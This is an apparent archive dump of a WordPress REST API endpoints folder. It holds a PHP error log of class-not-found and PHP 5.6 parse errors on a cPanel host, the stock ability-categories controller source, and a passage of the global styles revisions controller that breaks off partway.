endpoints/error_log000066600000053221152442706000010473 0ustar00[11-Jul-2025 09:51:43 America/Fortaleza] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home2/cienp360/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home2/cienp360/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 17
[28-Aug-2026 07:24:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:24:42 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17
[28-Aug-2026 07:24:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:24:43 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18
[28-Aug-2026 07:24:44 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:24:44 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17
[28-Aug-2026 07:24:45 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:24:45 America/Sao_Paulo] PHP Parse error:  syntax error, unexpected '?' in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 261
[28-Aug-2026 07:24:46 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:24:46 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17
[28-Aug-2026 07:24:49 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:24:49 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17
[28-Aug-2026 07:24:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:24:53 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17
[28-Aug-2026 07:24:58 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:24:58 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17
[28-Aug-2026 07:25:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:25:07 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17
[28-Aug-2026 07:25:20 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:25:20 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17
[28-Aug-2026 07:25:39 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:25:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:25:59 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17
[28-Aug-2026 07:26:15 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:26:15 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17
[28-Aug-2026 07:41:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:41:48 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Posts_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15
[28-Aug-2026 07:42:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:42:04 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17
[28-Aug-2026 07:42:05 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:42:05 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17
[28-Aug-2026 07:42:05 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:42:05 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17
[28-Aug-2026 07:42:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:42:07 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Posts_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17
[28-Aug-2026 07:42:08 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:42:08 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Posts_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13
[28-Aug-2026 07:42:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:42:26 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17
[28-Aug-2026 07:42:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:42:27 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17
[28-Aug-2026 07:42:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:42:28 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17
[28-Aug-2026 07:42:41 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:42:41 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Revisions_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17
[28-Aug-2026 07:42:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:42:43 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17
[28-Aug-2026 07:43:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:43:09 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Posts_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13
[28-Aug-2026 07:43:15 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:43:15 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17
[28-Aug-2026 07:43:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:43:17 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Revisions_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17
[28-Aug-2026 07:43:21 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:43:21 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20
[28-Aug-2026 07:43:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:43:26 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Autosaves_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17
[28-Aug-2026 07:45:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:45:11 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17
[28-Aug-2026 07:45:14 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:45:14 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17
[28-Aug-2026 07:45:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:45:18 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19
[28-Aug-2026 07:45:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:45:23 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17
[28-Aug-2026 07:45:55 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:45:55 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17
[28-Aug-2026 07:46:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:46:03 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17
[28-Aug-2026 07:46:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:46:54 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Revisions_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18
[28-Aug-2026 07:47:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:47:10 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Terms_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17
[28-Aug-2026 07:47:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:47:30 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Posts_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20
[28-Aug-2026 07:49:38 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:49:38 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17
[28-Aug-2026 07:50:47 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:50:47 America/Sao_Paulo] PHP Parse error:  syntax error, unexpected '?' in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 768
[28-Aug-2026 08:02:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:02:26 America/Sao_Paulo] PHP Warning:  Unsupported declare 'strict_types' in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 10
[28-Aug-2026 08:02:26 America/Sao_Paulo] PHP Parse error:  syntax error, unexpected ':', expecting ';' or '{' in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 44
[28-Aug-2026 08:02:37 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:02:37 America/Sao_Paulo] PHP Warning:  Unsupported declare 'strict_types' in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 10
[28-Aug-2026 08:02:37 America/Sao_Paulo] PHP Parse error:  syntax error, unexpected ':', expecting ';' or '{' in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 44
[28-Aug-2026 08:02:56 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:02:56 America/Sao_Paulo] PHP Fatal error:  Class 'WP_REST_Controller' not found in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17
[28-Aug-2026 08:28:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:28:27 America/Sao_Paulo] PHP Warning:  Unsupported declare 'strict_types' in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 10
[28-Aug-2026 08:28:27 America/Sao_Paulo] PHP Parse error:  syntax error, unexpected ':', expecting ';' or '{' in /home/cienp/public_html/inct-inovamed/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 44
endpoints/class-wp-rest-abilities-v1-categories-controller.php000066600000017625152442706000020576 0ustar00<?php
/**
 * REST API ability categories controller for Abilities API.
 *
 * @package WordPress
 * @subpackage Abilities_API
 * @since 6.9.0
 */

declare( strict_types = 1 );

/**
 * Core controller used to access ability categories via the REST API.
 *
 * @since 6.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Abilities_V1_Categories_Controller extends WP_REST_Controller {

	/**
	 * REST API namespace.
	 *
	 * @since 6.9.0
	 * @var string
	 */
	protected $namespace = 'wp-abilities/v1';

	/**
	 * REST API base route.
	 *
	 * @since 6.9.0
	 * @var string
	 */
	protected $rest_base = 'categories';

	/**
	 * Registers the routes for ability categories.
	 *
	 * @since 6.9.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes(): void {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<slug>[a-z0-9]+(?:-[a-z0-9]+)*)',
			array(
				'args'   => array(
					'slug' => array(
						'description' => __( 'Unique identifier for the ability category.' ),
						'type'        => 'string',
						'pattern'     => '^[a-z0-9]+(?:-[a-z0-9]+)*$',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Retrieves all ability categories.
	 *
	 * @since 6.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success.
	 */
	public function get_items( $request ) {
		$categories = wp_get_ability_categories();

		$page     = $request['page'];
		$per_page = $request['per_page'];
		$offset   = ( $page - 1 ) * $per_page;

		$total_categories = count( $categories );
		$max_pages        = (int) ceil( $total_categories / $per_page );

		if ( $request->get_method() === 'HEAD' ) {
			$response = new WP_REST_Response( array() );
		} else {
			$categories = array_slice( $categories, $offset, $per_page );

			$data = array();
			foreach ( $categories as $category ) {
				$item   = $this->prepare_item_for_response( $category, $request );
				$data[] = $this->prepare_response_for_collection( $item );
			}

			$response = rest_ensure_response( $data );
		}

		$response->header( 'X-WP-Total', (string) $total_categories );
		$response->header( 'X-WP-TotalPages', (string) $max_pages );

		$query_params = $request->get_query_params();
		$base         = add_query_arg(
			urlencode_deep( $query_params ),
			rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) )
		);

		if ( $page > 1 ) {
			$prev_page = $page - 1;
			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}

		if ( $page < $max_pages ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );
			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Retrieves a specific ability category.
	 *
	 * @since 6.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$category = wp_get_ability_category( $request['slug'] );
		if ( ! $category ) {
			return new WP_Error(
				'rest_ability_category_not_found',
				__( 'Ability category not found.' ),
				array( 'status' => 404 )
			);
		}

		$data = $this->prepare_item_for_response( $category, $request );
		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read ability categories.
	 *
	 * @since 6.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool True if the request has read access.
	 */
	public function get_items_permissions_check( $request ) {
		return current_user_can( 'read' );
	}

	/**
	 * Checks if a given request has access to read an ability category.
	 *
	 * @since 6.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool True if the request has read access.
	 */
	public function get_item_permissions_check( $request ) {
		return current_user_can( 'read' );
	}

	/**
	 * Prepares an ability category for response.
	 *
	 * @since 6.9.0
	 *
	 * @param WP_Ability_Category $category The ability category object.
	 * @param WP_REST_Request     $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $category, $request ) {
		$data = array(
			'slug'        => $category->get_slug(),
			'label'       => $category->get_label(),
			'description' => $category->get_description(),
			'meta'        => $category->get_meta(),
		);

		$context = $request['context'] ?? 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		$fields = $this->get_fields_for_response( $request );
		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = array(
				'self'       => array(
					'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $category->get_slug() ) ),
				),
				'collection' => array(
					'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
				),
				'abilities'  => array(
					'href' => rest_url( sprintf( '%s/abilities?category=%s', $this->namespace, $category->get_slug() ) ),
				),
			);

			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Retrieves the ability category's schema, conforming to JSON Schema.
	 *
	 * @since 6.9.0
	 *
	 * @return array<string, mixed> Item schema data.
	 */
	public function get_item_schema(): array {
		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'ability-category',
			'type'       => 'object',
			'properties' => array(
				'slug'        => array(
					'description' => __( 'Unique identifier for the ability category.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'label'       => array(
					'description' => __( 'Display label for the category.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => __( 'Description of the category.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'meta'        => array(
					'description' => __( 'Meta information about the category.' ),
					'type'        => 'object',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 6.9.0
	 *
	 * @return array<string, mixed> Collection parameters.
	 */
	public function get_collection_params(): array {
		return array(
			'context'  => $this->get_context_param( array( 'default' => 'view' ) ),
			'page'     => array(
				'description' => __( 'Current page of the collection.' ),
				'type'        => 'integer',
				'default'     => 1,
				'minimum'     => 1,
			),
			'per_page' => array(
				'description' => __( 'Maximum number of items to be returned in result set.' ),
				'type'        => 'integer',
				'default'     => 50,
				'minimum'     => 1,
				'maximum'     => 100,
			),
		);
	}
}
endpoints/class-wp-rest-global-styles-revisions-controller.php000066600000031166152442706000020756 0ustar00<?php
/**
 * REST API: WP_REST_Global_Styles_Revisions_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.3.0
 */

/**
 * Core class used to access global styles revisions via the REST API.
 *
 * @since 6.3.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Global_Styles_Revisions_Controller extends WP_REST_Revisions_Controller {
	/**
	 * Parent controller.
	 *
	 * @since 6.6.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 6.3.0
	 * @var string
	 */
	protected $parent_base;

	/**
	 * Parent post type.
	 *
	 * @since 6.6.0
	 * @var string
	 */
	protected $parent_post_type;

	/**
	 * Constructor.
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Extends class from WP_REST_Revisions_Controller.
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type = 'wp_global_styles' ) {
		parent::__construct( $parent_post_type );
		$post_type_object  = get_post_type_object( $parent_post_type );
		$parent_controller = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Global_Styles_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;
		$this->rest_base         = 'revisions';
		$this->parent_base       = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
